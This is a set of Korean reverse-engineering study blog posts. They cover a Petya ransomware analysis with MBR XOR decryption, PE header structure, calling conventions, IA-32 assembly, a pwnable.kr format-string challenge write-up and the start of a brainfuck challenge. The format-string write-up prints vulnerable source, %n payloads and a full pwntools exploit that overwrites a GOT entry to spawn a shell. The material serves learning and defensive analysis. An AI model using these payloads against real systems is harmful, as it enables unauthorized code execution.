1. Petya?

2016년 3월 발견된 랜섬웨어로 디스크의 MBR 영역을 변조하여 PC의 부팅이 불가능하도록 하고 부팅 시 Ascii 코드로 작성된 해골 화면을 띄우며 결제를 유도하는 랜섬웨어다. MBR의 0번 섹터부터 56번 섹터 사이만 접근하여 조작하기 때문에 다른 부팅 디스크를 통해 부팅하여 MBR 영역만 복원해주면 정상적으로 사용이 가능하다.



2. Analysis

  2-1. File information


 윈도우 운영체제에서 실행되는 PE 형식의 파일이며 해당 파일에 대한 해시 정보는 위의 표와 같다


 분석에 앞서 Virustotal 사이트에서 제공하는 기본적인 정보에 대해서 파악하면 다음과 같다.


 

  

  해당 PE 파일은 5개의 섹션으로 이루어졌으며 각 섹션의 엔트로피 값을 통해 섹션의 암호화 여부를 확인할 수 있다

 엔트로피를 통한 패킹 및 암호화 여부는 다음 논문에서 확인할 수 있었다.

 

Using Entropy Analysis to Find Encrypted and Packed Malware / J. Hamrock and R. Lyda / IBM in IEEE Security & Privacy / 2007. 


발췌한 엔트로피를 통한 패킹 및 암호화 여부에 대해 파악할 수 있는 자료이다.

해당 자료를 참고하면 엔트로피 값이 7 이상일 경우 암호화된 데이터로 분류하며 따라서 엔트로피 값이 7.19로 나타난 text 섹션은 암호화된 코드가 삽입되었다고 판단할 수 있다

백신 제품들이 API 호출 탐지 기반 등 고도화된 탐지 기법을 도입함에 따라 해당 기법들에 대해 우회하기 위한 방안으로 프로그램이 실행될 때 암호화된 코드 데이터를 복호화 하여 실행하는 백신 우회 기법을 사용한 것으로 의심해볼 수 있으며 좀 더 자세히 알아보기 위해 동적 분석을 진행해본다.


  2-2. Dynamic Analysis

Petya를 동적 분석하기 위한 환경으로 VMware 가상화 도구를 사용했으며, 프로그램 역분석 도구로는 IDA Pro 6.6 도구를 사용했다. 먼저 Petya를 실행시킨 다음 컴퓨터가 강제종료 된 상황에서 볼 수 있는 화면이다.

 


Petya 실행 후 OS가 재부팅 되면 위와 같이 디스크를 확인하는 과정이 진행된다

위 과정이 끝나면 다음과 같은 랜섬노트가 화면에 출력된다.






 해골 문양이 출력된 이후에 이어서 위와 같은 랜섬노트가 화면에 출력된다

사용자의 디스크가 암호화 됐으며 이를 복구하기 위해선 Tor Browser를 이용하여 가상화폐로 결제를 유도하는 화면이며 부팅을 할 수 없는 상황이다

다음은 Petya 실행 전후의 MBR 영역이다.


    

 Petya 실행 전 정상적인 MBR()과 실행 후의 MBR()


위 사진과 같이 Petya를 실행 전후로 MBR이 변경된 것을 확인할 수 있다

다음으로 동적 분석을 수행하기 전에 MBR이 무엇인지, PC의 부팅과 어떤 관련이 있는지 간략하게 정리한다.



  2-3. MBR (Master Boot Record)?

파티션이 여러 개인 다중 파티션의 경우 각 파티션의 첫 번째 섹터에 존재하는 BR(Boot Record)만으로는 부팅 파티션을 결정할 수 없다

MBR은 파티션 테이블을 참조하여 부팅이 가능한 파티션을 찾고 코드를 실행하여 해당 파티션으로 부팅이 되도록 하는 코드가 있는 메모리 영역이다

저장매체의 첫 번째 섹터에 위치하는 512 bytes의 영역으로 구조는 다음과 같다



PC가 부팅되면 디스크의 첫 번째 섹터를 호출하며 부트 코드가 실행된다

부트 코드는 파티션 테이블에서 부팅이 가능한 파티션을 찾아 해당 파티션의 부트 섹터를 호출해주는 역할을 하며, 파티션 테이블에는 각 파티션들에 대한 정보가 있으며 SignatrueMBR 디스크 영역이 가지는 고유의 바이트(0x55AA)이다.

 



각 파티션 테이블은 위와 같은 구조를 가지며 각 바이트들이 뜻하는 의미는 다음과 같다.

-       Boot flag(1byte)  : 해당 파티션이 부팅이 가능한 파티션인지 여부를 나타냄

(0x80  : 부팅 가능, 0x00 : 부팅 불가능)

 

-       CHS Start(3bytes) : 해당 파티션의 시작 주소를 의미함

 

-       Part Type(1byte) : 해당 파티션의 종류를 의미함

(0x0B : CHS 모드 FAT32, 0x0C : LBA 모드의 FAT32, 0x07 : NTFS )

 

-       CHS End(3bytes) : CHS 방식의 종료 주소

-       LBA Start(4bytes) : LBA 시작 주소, 파티션 시작 섹터 번호

-       Size in Sector(4bytes) : 파티션의 섹터 수

 

MBR 방식을 사용하는 시스템에서는 MBR의 부트 코드는 부팅에 필수적인 코드이며 따라서 Petya와 같이 MBR의 영역의 데이터의 무결성을 해치는 공격이 발생할 경우 사용자의 PC가 부팅이 가능한 파티션을 찾지 못해 부팅을 할 수 없는 상황이 발생할 수 있다

다음으로는 Petya가 어떤 과정으로 MBR을 암호화 하는지 파악하기 위해 IDA Pro disassembly 도구를 이용하여 정적 분석을 시행한다.


  2-4. Static Analysis?

Petya를 정적분석하기 위한 환경으로 IDA Pro 6.6 + Hex-ray Decompiler plugin을 이용하여 역분석을 진행한다

먼저 Petya는 실행 과정에서 특정 데이터 영역을 복호화 하여 코드 영역에 쓰며 해당 코드 영역을 실행시키는 형태로 실행된다

복호화 하여 실행시키는 코드는 MZ 헤더 형식의 실행 파일이었으며 다음 사진은 프로그램 실행 도중에 MZ 헤더로 시작하는 코드를 복호화 하여 코드 영역에 올리는 사진이다.



왼쪽 사진은 프로그램을 실행하기 전의 코드이며 해당 프로그램을 실행할 경우 0041AE72 ~ 0041B358 까지의 코드를 반복하며 0041B35E MZ 헤더로 시작하는 코드를 삽입한다

Petya가 수행하는 암호화 루틴은 해당 코드에서 수행되며 실행 도중에 메모리 덤프를 통해 해당 MZ 헤더의 실행 파일을 얻을 수 있다

Petya가 수행하는 암호화 루틴을 분석하기 위해 해당 DLL을 확보하여 IDA에 올려서 이후 분석을 진행한다



분석 대상 MZ 실행 파일을 IDA로 올리고 DllEntryPoint에서 호출하는 몇 가지의 함수들을 타고 들어가보면 위와 같은 코드를 확인할 수 있다

CreateFileA 함수를 통해 운영체제가 설치된 물리 디스크의 핸들을 받아오며 만약 핸들을 얻지 못하면 프로그램은 종료된다

(line32) 핸들을 얻은 후 프로그램은 MBR이 있는 디스크의 0번지부터 0x7200번지까지 암호화 루틴에 들어간다

다음은 첫 번째로 실행되는 암호화 과정이다.

 


위 코드는 0x200번지부터 512byte씩 블록 단위로 읽고 0x37 xor 연산을 수행한 뒤에 같은 영역에 다시 쓰는 과정이다

이 과정을 0x22번 수행하므로 0x200부터 0x4400 까지는 원본의 데이터와 0x37xor 연산을 한 결과가 저장된다

위 사진에서 보이는 ReadFromFile 함수와 WriteToFile 함수는 함수들의 실행 코드를 분석하여 분석의 편의를 위해 임의로 붙인 이름이다

다음은 각 함수들의 모습이다.



임의로 이름을 붙인 ReadFromFile 함수는 첫 번째 인자로 파일의 이름을 받고, 두 번째 인자로는 파일로부터 읽은 데이터를 저장할 버퍼를 전달받는다

세 번째 인자와 네 번째 인자는 파일 포인터를 계산하는데 사용되며 결과적으로 해당 함수가 호출되면 첫 번째 인자로 전달받은 파일이름에 해당하는 파일을 열고 3번 째 인자로 전달받은 a3512를 곱한 지점부터 512바이트를 읽어서 두 번째 인자로 전달받은 버퍼에 저장한다.



위 함수에서 세 번째 인자로 전달받은 값을 ecx 레지스터에 저장한 후에 shift left9차례 수행하여 setFilePointerEx 함수의 인자로 전달한다. 결과적으로 파일 포인터는 세 번째 인자의 512배에 해당하는 지점을 가리키게 된다.



WriteToFile 함수는 첫 번째 인자로 전달받은 파일의 이름에 해당하는 파일을 열어서 세 번째 인자로 파일 포인터를 계산, 두 번째 인자로 전달받은 버퍼에 있는 데이터를 512바이트 쓰는 함수이다

파일의 포인터 계산하는 방법은 위의 ReadFromFile 함수와 같다. Petya가 디스크로부터 데이터를 읽고 암호화 한 데이터를 쓰는 일련의 과정들은 모두 위의 두 함수를 통해서 진행된다.



디스크의 0x200 ~ 0x4400 영역을 암호화 한 이후에 오는 코드는 0x00번지부터 0x200번지까지 MBR 영역을 읽은 후에 암호화 하는 과정이다

v47 변수에 해당 암호화 코드는 저장되며 이 v47 변수는 프로그램이 종료하기 다른 디스크 영역에 쓰이게 된다.



이후에 호출되는 함수에서는 두 변수에 악성 데이터를 쓰는 루틴이다.

 v51 변수에 문자 ‘7’512 bytes를 쓰며, v50에는 함수로 이루어진 암호화 루틴을 수행하며 랜섬노트에 출력되는 URL 텍스트 중 일부를 저장한다

해당 함수는 의미 있는 암호화 루틴이 아니므로 설명 및 분석을 생략한다.



앞에서 설명한 랜섬노트 일부 텍스트가 담긴 v50 변수를 0x6C00에 쓰고 ‘7’문자로 이루어진 512 bytes의 변수 v510x6E00에 쓰여진다

그 다음에 쓰여지는 데이터가 중요한데, v47 변수는 앞에서 0x00~0x200 MBR 영역을 암호화 한 데이터가 저장된 변수이다

여기까지 Petya가 수행하는 암호화 루틴이며 이를 정리하면 다음과 같다.




실제로 Petya로 암호화된 가상머신의 디스크를 분석 프로그램을 이용하여 열어본 화면이다

랜섬노트로 암호화된 0x4400~0x6E00 까지의 영역 중 일부이며 해골 문양의 일부와 랜섬노트에 출력되는 텍스트들을 확인할 수 있었다.



암호화 루틴이 끝난 후에 호출되는 함수이다

해당 함수 내에서 GetCurrentProcess 함수를 통해 현재 프로세스의 핸들을 얻고 OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges 함수들을 호출하여 시스템 종료 권한을 얻으며 권한을 상승한다

그 이후에 “NTDLL.DLL”을 로드하고 NtRaiseHardError를 통해 PC를 강제 종료한다.


 

  2-5. Decryption

분석한 Petya 랜섬웨어가 사용한 암호화 루틴은 블록암호 또는 비대칭키 암호와 같이 복잡한 암호화 알고리즘을 사용하지도 않았으며 키가 1 바이트인 스트림 암호라고 볼 수 있다

해당 키는 역분석을 통해 간단히 찾을 수 있었고 암호화 한 MBR 데이터를 숨겨둔 위치 또한 분석을 통해 얻을 수 있었다

따라서 암호화 된 MBR 영역의 hex 값을 복호화 하는 코드를 작성하여 암호화 전의 데이터와 비교해봤다.



MBR 영역의 데이터는 0x37 XOR 연산을 통해 암호화 됐으며 해당 데이터를 0x37과 다시 XOR 연산을 해주면 원본의 데이터를 확보할 수 있다

위와 같은 코드를 작성하여 암호화 된 데이터만 추출하여 해당 코드를 실행시키고 나온 복호화 데이터를 비교하면 다음과 같았다.


    

위 사진에서 왼쪽은 원본의 MBR 데이터이고 오른쪽의 사진은 암호화 된 MBR 데이터를 복호화 한 결과이다. 암호화 과정이 간단했던 만큼 쉽게 복호화 한 데이터를 얻을 수 있었다.






'Study > Reversing' 카테고리의 다른 글

우회 기법  (0) 2019.03.20
FSC_Level1 풀이  (0) 2019.03.20
PE 헤더  (0) 2019.02.18
2. C 문법과 디스어셈블리  (0) 2019.02.14
1. IA-32 assembly  (0) 2019.02.14

1. PE 헤더 (PE Header)?

  Portable Executable File Format의 약자로 이식 가능한 다른 곳에서도 실행이 가능한 포맷이다.


2. PE 파일 생성 과정

 

- 소스코드(cpp)를 컴파일 하면 어셈블리 코드가 만들어지고 어셈블러에 의해 어셈블리 코드들은 오브젝트 코드로 만들어짐

- 이렇게 만들어진 오브젝트 코드들은 정적으로 라이브러리 코드를 모두 포함하여 만들어지지 않는 이상 동적 링킹을 거치게 된다.

- 동적 라이브러리나 각종 리소스 데이터와 Import, Export 테이블을 처리할 수 있는 정보를 어딘가에 적어둠

- 윈도우는 exe 파일을 만들 때 약속된 규약에 따라 정보를 기입하고 이렇게 만들어진 파일이 PE 파일이다.

- EXE 또는 DLL을 실행하면 개발자가 만든 코드가 실행되기 전에 PE 정보부터 읽어와서 바이너리를 메모리에 올리기 위한 각종 데이터를 설정하는 작업을 함



3. PE 파일 구조

- 소스코드(cpp)를 컴파일 하면 어셈블리 코드가 만들어지고 어셈블러에 의해 어셈블리 코드들은 오브젝트 코드로 만들어짐

- PE 헤더는 여러 구조체로 이루어져 있으며 PE viewer를 이용하여 직접 구조체 살펴볼 수 있음 (eg : VX PE-Viewer)
- VX PE-Viewer는 현재 2.0 버전까지 배포됐으나 2.0 버전에서는 런타임 에러가 발생하여 실행이 불가능했음, 따라서 1.1 버전으로 분석을 진행함


  3-1. IMAGE_DOS_HEADER
   - 크기는 0x3D 바이트이며 가장 먼저 위치하여 PE 파일의 맨 처음 부분에 해당한다. Hex 에디터를 이용하여 PE 파일을 열어도 해당 구조체를 가장 먼저 찾아볼 수 있다.         - 가장 첫 번째 필드인 (e_magic)과 마지막 필드(e_lfanew)가 중요하다
 

    


     

   - e_magic 필드는 PE 파일의 시그니처로 최초 개발자의 이름을 딴 "MZ"로 시작한다. 위에 그림에서도 확인해볼 수 있다.

   - e_lfanew 필드는 다음 구조체인 IMAGE_NT_HEADER의 구조체 위치를 알아내는 데 사용되는 값

  

 3-2. IMAGE_NT_HEADER

   - IMAGE_DOS_HEADER의 마지막 필드인 e_lfanew 필드를 이용하여 다음과 같이 주소를 알아낼 수 있음

    

     

  

    - 다음과 같이 구성되어 있으며 Signatrue는 "PE\0\0"을 나타내는 4바이트 값(50 45 00 00)이다.

    - 요즘 윈도우에서는 해당 자리에 50 45 00 00이 아닌 다른 값이 자리하게되면 해당 파일은 윈도우에서 실행되지 않음,

      과거엔 이를 확인하지 않아 바이러스나 악성코드에 의한 감염 표식용으로 사용됨


    



    



  3-3. IMAGE_FILE_HEADER

   - IMAGE_DOS_HEADER의 마지막 필드인 e_lfanew 필드를 이용하여 다음과 같이 주소를 알아낼 수 있음

 

    

   - Machine

     : 어떤 CPU에서 이 파일이 실행될 수 있는지를 알려줌

   - NumberOfSections 

     : 섹션이 몇 개 있는지를 알려줌 (.text, .data 등)

       일반적으로 비주얼 스튜디오에서 MFC로 별다른 옵션 변경 없이 빌드한 경우 .text, .rdata, .data, .rsrc로 4개의 섹션이 존재함

       패킹이나 프로텍팅 등의 이유로 섹션 수가 증가하면 이 값도 같이 증가함

   - TimeDateStamp

     : 해당 파일이 빌드된 날짜 정보

   - SizeOfOptionalHeader

     : IMAGE_OPTIONAL_HEADER32의 구조체 크기, 해당 구조체는 PE를 로딩하기 위한 중요한 정보를 갖고 있는데, 이 구조체는 운영체제마다

       크기가 다를 수 있기 때문에 PE 로더에서는 SizeOfOptionalHeader값을 먼저 확인한 뒤 IMAGE_OPTIONAL_HEADER32 구조체의 크기를 처리함 

   - Characteristics

     : 현재 파일이 어떤 형식인지 알려주며 DLL인지 EXE인지 구분하는 용도로 활용이 가능하다.

    



  3-4. IMAGE_OPTIONAL_HEADER
    - PE 구조체 중 중요한 값을 가장 많이 담긴 헤더

    


    - MAGIC

     : 시그니처, 32비트의 경우 0x10B가 들어오며 64비트의 경우 0x20B가 된다.

    - SizeOfCode

     : 코드 양의 전체 크기를 가리킴, 실제 개발자가 만든 코드의 양이 해당 필드에 들어가며, 바이러스나 악성코드는 이 필드를 읽어서 

       악성 코드를 복제할 위치를 계산하기도 하며, 보안 솔루션에서 코드 섹션의 무결성 검사를 위한 크기도 해당 필드를 통해 정함 

    - MajorLinkerVersion, MinorLinkerVersion

     : 어떤 버전의 컴파일러로 빌드했는지를 알려줌 (비주얼 스튜디오 6.0일 경우 6.0이 자리함)

    - ImageBase

     : 해당 파일이 실행될 경우 실제 가상 메모리에 올라가는 번지를 가리킴, EXE 파일의 경우 번지 지정을 별도로 해주지 않는 이상 0x400000에 올라감.

       DLL의 경우 기본 이미지 베이스 주소가 0x10000000 번지로 정해져 있지만 재배치 속성에 따라 재할당되기도 함

    - AddressOfEntryPoint

     : 실제 파일이 메모리에서 실행되는 시작 지점을 말함. 디버거를 통해 파일을 실행했을 때 디버거는 첫 실행 지점을 이곳과 ImageBase를 합산한 위치에 지정해서 멈춤

    - BaseOfCode

     : 실제 코드가 실행되는 번지, 코드 영역의 시작 주소는 ImageBase에 BaseOfCode를 더한 위치이다. 기본적으로 0x1000의 값을 가짐

    - SectionAlignment, FileAlignment

     : 각 섹션을 정렬하기 위한 저장 단위, 보통 0x1000이 지정되며 섹션의 크기가 0x1000이하일 경우에도 패딩을 통해 0x1000을 채움

    - SizeOfImage

     : EXE나 DLL이 메모리에 로딩됐을 때의 전체 크기, 로더가 해당 필드를 참조하여 메모리 공간을 할당함

    - SizeOfHeaders

     : PE 헤더의 크기를 알려주는 필드

    - Subsystem

     : 해당 프로그램이 GUI(0x02)인지 CLI(0x03)인지를 알려줌

    - DataDirectory

     : IMAGE_DATA_DIRECTORY의 구조체로서, VirtualAddress와 Size라는 필드가 포함돼있음

       Export 디렉토리나 Import 디렉토리, 리소스 디렉토리, IAT 등 각각의 가상 주소와 크기를 이 필드를 통해 알 수 있음

      

      


'Study > Reversing' 카테고리의 다른 글

우회 기법  (0) 2019.03.20
FSC_Level1 풀이  (0) 2019.03.20
Petya Ransomware 분석  (0) 2019.02.19
2. C 문법과 디스어셈블리  (0) 2019.02.14
1. IA-32 assembly  (0) 2019.02.14

1. 함수 호출 규약

  - 함수가 호출될 때 인자를 전달하거나 함수의 결과를 반환하는 방법에 대한 규약

  - 대표적으로 __cdecl, __stdcall, __fastcall, __thiscall 네 가지 존재

  - 분석 과정에서 해당 함수의 호출 규약을 판단하여 전달하는 인자 및 반환 값을 식별하는 것이 중요


  1-1) __cdecl


    
    - main 함수에서 __cdecl 호출 규약을 사용한 sum 함수를 호출하는 부분인 call calling.00401000 

    - 해당 함수 호출 이후 add esp, 8과 같이 스택을 보정해주는 명령어가 존재할 경우 __cdecl 규약

    - 또한 해당 스택의 크기를 이용하여 파라미터의 개수까지 확인이 가능, 파라미터는 4바이트씩 계산되므로 위 함수에서는 총 2개의 파라미터가 있음을 파악 가능


  1-2) __stdcall


    

    - 함수가 반환하는 ret 명령어에 오퍼랜드로 8이라는 상수가 온다

    - __cdecl 규약은 함수 반환 후에 해당 함수를 호출한 부분에서 스택을 조정하지만 

       __stdcall 규약을 사용할 경우 호출된 함수 내에서 반환할 때 스택을 조정함, 해당 값을 통해서도 파라미터의 개수를 추측이 가능함


     - Win32 API는 __stdcall 호출 규약을 사용함. MessageBoxA() 함수를 살펴보면 다음과 같음.

    

      해당 함수의 반환 부분에서 총 0x10 만큼의 스택을 재조정해주는 것을 확인할 수 있음

      따라서 해당 함수는 총 4바이트 크기의 파라미터를 4개 (0x10) 전달받을 것이라고 추측이 가능하며 실제 함수를 확인해보면 다음과 같이 일치함을 확인할 수 있음


    




  
1-3) __fastcall

    

    

    -  sub esp, 0xC 명령어로 스택 공간을 확보하고 edx, ecx 레지스터에 있는 값을 이용한다.
    - 함수의 호출부를 봐도 함수를 호출하기 직전 파라미터를 edx, ecx 레지스터에 넣는다.
    - __fastcall 호출 규약은 파라미터가 2개 이하일 경우에 사용이 가능하며 파라미터를 레지스터를 이용하여 전달한다. (빠름)

  1-4) __thiscall


    

    -  c++에서 객체의 멤버에 접근하기 위한 this 포인터(객체에 대한 포인터)를 edx레지스터에 전달한다.



2. if 조건문


    -  C 코드의 조건문이 디스어셈블되면 다음과 같은 형태를 가진다.



'Study > Reversing' 카테고리의 다른 글

우회 기법  (0) 2019.03.20
FSC_Level1 풀이  (0) 2019.03.20
Petya Ransomware 분석  (0) 2019.02.19
PE 헤더  (0) 2019.02.18
1. IA-32 assembly  (0) 2019.02.14

1. 레지스터 (Register)


  - 프로세서가 사용하는 작은 메모리 공간


  1-1 ) EAX (Accumulator)

   - 산술 계산에 사용되며 함수의 반환 값을 저장


  1-2 ) EDX (Data)

   - 산술 계산에 사용되지만 EAX와 같이 함수의 반환 값을 저장하지는 않음


  1-3 ) ECX (Counter)

   - 주로 반복문의 반복 횟수를 카운팅하는데 사용


  1-4 ) EBX (Base)

    - Base 값 지정, 주로 index 계산의 Base로 사용


  1-5 ) ESI (Source)

    - 문자열 또는 각종 반복 데이터를 처리하거나 메모리를 옮길 때 Source 주소 지정을 위해 사용


  1-6 ) EDI (Destination)

    - 문자열 또는 각종 반복 데이터를 처리하거나 메모리를 옮길 때 Destination 주소 지정을 위해 사용


  1-7 ) al & ah (Low & High)

    - 8비트 레지스터

    

   




2. 어셈블리 (Assembly)


  2-1 ) PUSH & POP

   - 스택에 값을 넣는 것을 PUSH, 스택의 값을 가져오는 것이 POP (PUSHAD, POPAD : 모든 레지스터를 PUSH, POP)


  2-2 ) MOV

   - 값을 넣어주는 명령어 (ex : MOV  eax, 1 )


  2-3 ) LEA

   - 주소를 가져와 넣어주는 명령어


  ※ MOV와 LEA의 차이


   



  2-4 ) ADD

   - src에서 dest로 값을 더하는 명령어


  2-5 ) SUB

   - src에서 dest로 값을 빼는 명령어


  2-6 ) INT

   - 인테럽트를 발생시키는 명령어. 뒤에 오는 오퍼랜드 값에 해당하는 인테럽트를 발생시킴. 

      대표적으로 INT 3 명령어가 존재하며 0xCC opcode를 가진 DebugBreak()가 있다. 


  2-7 ) CALL

   - 함수를 호출하는 명령어. Call 뒤의 오퍼랜드로 주소가 오게되고 해당 주소를 호출한 뒤 작업이 끝나서 Ret 명령어를 만나면 Call 다음 주소로 되돌아옴


  2-8 ) INC & DEC

   - 오퍼랜드에 1을 더하거나 뺀다.


  2-9 ) AND & OR & XOR

   - dest와 src를 연산한다. XOR eax, eax 와 같은 구문은 eax를 초기화하는데 사용


  2-10 ) NOP

   - 아무것도 수행하지 않고 다음 명령어를 수행하는 명령어


  2-11 ) CMP & JMP

   - 비교 및 점프 명령어




3. 스택 (Stack)


  - 프로세서가 사용하는 작은 메모리 공간, 함수의 반환 주소, 파라미터와 함수 내에서 선언하는 지역 변수가 해당 메모리에 위치함

 

  3-1 ) 지역 변수


   


   - push  ebp 

     : 이전 함수의 stack base pointer를 저장함 (호출된 함수의 스택 공간을 사용하기 위함)

   - mov  ebp, esp

     : 이전 함수의 esp를 현재 함수의 stack base pointer로 옮김  

   - sub  esp, 50h

     : 현재 함수의 stack pointer를 50 감소시킴 (0x50 크기의 지역 변수 공간 할당)  


   -> 지역변수가 4바이트 크기라 가정하면 ebp - 4 : 첫 번째 지역변수, ebp - 8은 두 번째 지역변수가 됨

  3-2 ) 함수의 호출과 파라미터

  

   


   - 위와 같이 3개의 인자를 전달받는 함수가 있을 경우 마지막 인자부터 역순으로 스택에 push되고 함수가 호출됨

   - 따라서 함수 호출 후 ebp에는 이전 스택의 base pointer, ebp + 4에는 함수의 리턴 주소가  위치하고 그 위로는 함수에 전달된 인자가 위치함

   - ebp + 0x8  : 첫 번째 파라미터

   - ebp + 0xC  : 두 번째 파라미터

   - ebp + 0x10 : 세 번째 파라미터


  3-3 ) 함수의 리턴 주소

   - 함수가 호출되면 전달된 인자들이 스택에 쌓이고 그 이후에 함수의 리턴 주소가 위치함

   




'Study > Reversing' 카테고리의 다른 글

우회 기법  (0) 2019.03.20
FSC_Level1 풀이  (0) 2019.03.20
Petya Ransomware 분석  (0) 2019.02.19
PE 헤더  (0) 2019.02.18
2. C 문법과 디스어셈블리  (0) 2019.02.14



FSB (Format string bug) 취약점 문제로 보인다.





flag, 바이너리, 코드가 있다.


코드를 확인해보면 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
 
unsigned long long key;
char buf[100];
char buf2[100];
 
int fsb(char** argv, char** envp){
        char* args[]={"/bin/sh"0};
        int i;
 
        char*** pargv = &argv;
        char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++for(c=*arg; *c;c++*c='\0';
        for(arg=envp;*arg;arg++for(c=*arg; *c;c++*c='\0';
        *pargv=0;
        *penvp=0;
 
        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }
 
        printf("Wait a sec...\n");
        sleep(3);
 
        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 010);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }
 
        printf("Incorrect key \n");
        return 0;
}
 
int main(int argc, char* argv[], char** envp){
 
        int fd = open("/dev/urandom", O_RDONLY);
        if( fd==-1 || read(fd, &key, 8!= 8 ){
                printf("Error, tell admin\n");
                return 0;
        }
        close(fd);
 
        alloca(0x12345 & key);
 
        fsb(argv, envp); // exploit this format string bug!
        return 0;
}
cs



먼저 난수를 발생시켜 key를 만들고 이 키를 맞히면 쉘을 얻을 수 있는 문제이다.


fsb 함수에서는 사용자에게 키를 입력받고 이게 key와 일치하면 쉘을 실행시키는데


22번 라인에 있는 반복문에서 4개의 문자열을 입력받는데 printf에서 형식 지정자(format string)을


사용하지 않고 그냥 출력하는 것을 확인할 수 있다. 여기서 취약점이 있다.


당연 buf에 입력받기 때문에 처음엔 return address를 갖고있는 스택 주소를 buf에 쓰고 


다시 format string  bug로 return address를 쉘을 실행시키는 구문으로 돌리면 될거라 생각했는데..


buf가 전역변수였다.


즉, 내가 원하는 임의의 주소에 값을 쓰지는 못한다는 건데, 어셈을 본다..



read 함수를 통해 4회 반복을 돌며 입력을 받는 부분인데, buf에 입력 직후 스택 상황을 보기 위해 fsb+212에 bp를 걸고 실행해본다.





















buf가 전역변수이기 때문에 스택 상에서 입력한 문자열을 확인할 수 없었다.


고민을 하다가 스택에 값을 쓸 수 없다면 이미 쓰여져 있는 값 중에 활용할만한게 없나 살펴봤다.


스택에 특정 접근 가능한 주소값이 쓰여져있으면 해당 주소값을 이용하여 원하는 곳에 값을 쓸 수 있을 것이다.






저 위치에 쓰여져있던 주소가 실행 도중 esp에서 비교적 가까운 위치의 주소를 담고있었다.


이를 이용해서 0xff8322230 위치에 있는 메모리에 원하는 값을 쓸 수 있게 된다.


for문이 총 4회 반복되기 때문에 총 4번의 format string이 가능하다.


이를 어떻게 이용할까 고민해보고 처음엔 return address를 덮으려 했으나.. return address를 담고있는 주소가 터무니 없이 커서


format string을 위해 그 주소만큼 공백 문자를 채워 출력하려니 너무 오래걸릴 것 같았다.


다른 방법을 고민하다가 got를 쓰는 것도 가능할 것 같아서 시도했다. 


먼저 타겟 함수를 찾아본다.





다행히 덮어쓸만한 함수가 많다.


printf, read, sleep 함수들을 덮어써도 되겠지만 나는 strtoull로 결정했다.


이제 필요한 주소들을 확인해본다.





strtoull 함수의 got 상의 주소는 0x804a020




쉘을 실행시킬 수 있는 점프 주소는 0x0804869f



주소는 다 구했으니 공격을 하면


첫 번째 format string bug로 아까 스택 상에서 접근할 수 있던 주소에 strtoull의 got 주소인 0x804a020을 쓰고


두 번째 format string bug로 0x804a020에 쉘을 실행시키는 주소인 0x804869f를 쓰면 


strtoull 함수가 호출될 때 쉘을 얻을 수 있을 것이다.


공격을 해보면,





입력 직후 화면에서 esp부터 출력한거고, 맨 위에서 두 번째 0x0804a100이 buf의 주소니까


format string bug로 접근이 가능한 주소의 시작부분은 맨 위에서 두 번째(0xff83e1e4)이다.


목표 지점인 0xff832218까진 %x가 13번 필요하고 14번째에 %n을 통해 0x804a020을 쓴다.


마지막 %x는 출력 바이트 수를 조정하기 위해 0x804a020에서 현재까지 출력한 0x8*12만큼을 빼준다.


1
"%8x"*12 + "%" + str(0x804a020-0x8*12+"x" + "%n" 
cs



두 번째 format string에선 목표 지점인 0xff832230에 0x804a020이 쓰여졌을 것이고


여기까지 다시 접근 후 %n을 이용하여 쉘을 실행시키는 주소인 0x804869f를 쓴다.


마찬가지로 목표 지점까진 %x가 19번 필요하고 마지막 %x에서는 출력 문자의 수를 맞춰준다.


"%8x"*18 + "%" + (str(0x804869f - 0x8*18)) + "x" + "%n"


1
"%8x"*18 + "%" + (str(0x804869f - 0x8*18)) + "x" + "%n"
cs






flag : 


1
Have you ever saw an example of utilizing [n] format character?? :(
cs





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
 
strtoull_addr = 0x804a020
 
def main():
    id         = 'fsb'
    host     = 'pwnable.kr'
    port     = 2222
    pw         = 'guest'
    s = ssh(id, host, port=port, password=pw)
    
    r = s.run('./fsb')
    rcv = r.recvline_startswith('Give')
    print(rcv)
 
    r.sendline('a')                # 1st pass
    print('a')
    rcv = r.recvline_startswith('Give')
    print(rcv)
 
    r.sendline('a')                # 2nd pass
    print('a')
    rcv = r.recvline_startswith('Give')
    print(rcv)
 
    payload1 = "%8x"*12 + "%" + str(strtoull_addr-0x8*12+"x" + "%n"  # 3rd fsb attack
    print(payload1)
    r.sendline(payload1)
    rcv = r.recvline_startswith('Give')
    print(rcv)
    
    payload2 = "%8x"*18 + "%" + (str(0x804869f - 0x8*18)) + "x" + "%n" # 4th fsb attack
    print(payload2)
    r.sendline(payload2)
    rcv = r.recvline_startswith('key')
    print(rcv)
    r.sendline('s')     # send any string as key
    r.interactive()
 
main()
cs


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

brain fuck  (0) 2019.01.08
otp  (0) 2019.01.07
21. horcruxes  (0) 2018.12.30
13. cmd1  (0) 2018.10.01
13. lotto  (0) 2018.10.01



simple brain fuck language emulator


이 문장을 봐선 brain fuck이란 언어가 있는 것 같다.


전에 풀어봤던 문제 중 ws 언어와 비슷한 문제인가 싶어서 검색을 해봤다.





brain fuck?



귀찮아서 나무위키 읽었다.


음. 8개의 문자로 구성된 명령어 집합으로 튜링 머신이 하는 연산을 모두 수행할 수 있는 프로그래밍 언어라는 것 같다.


문제에서 제공해준 바이너리를 다운받아 로컬에서 분석했다.




bf 바이너리의 main 함수이다.


p라는 변수에 tape의 주소를 담는다.


1024 크기의 문자열을 선언하고 0으로 초기화하고 사용자로부터 입력을 받아 배열에 저장한다.


그리고 그 입력된 문자열의 각 문자를 do_brainfuck() 함수를 호출하며 인자로 전달한다.


do_brainfuck() 함수는 다음과 같이 생겼다.




아까 봤던 8개의 문자 중 6개( + , - . < > )가 구현되어있고 ( [ ] )는 구현되지 않은 상태로 보인다.


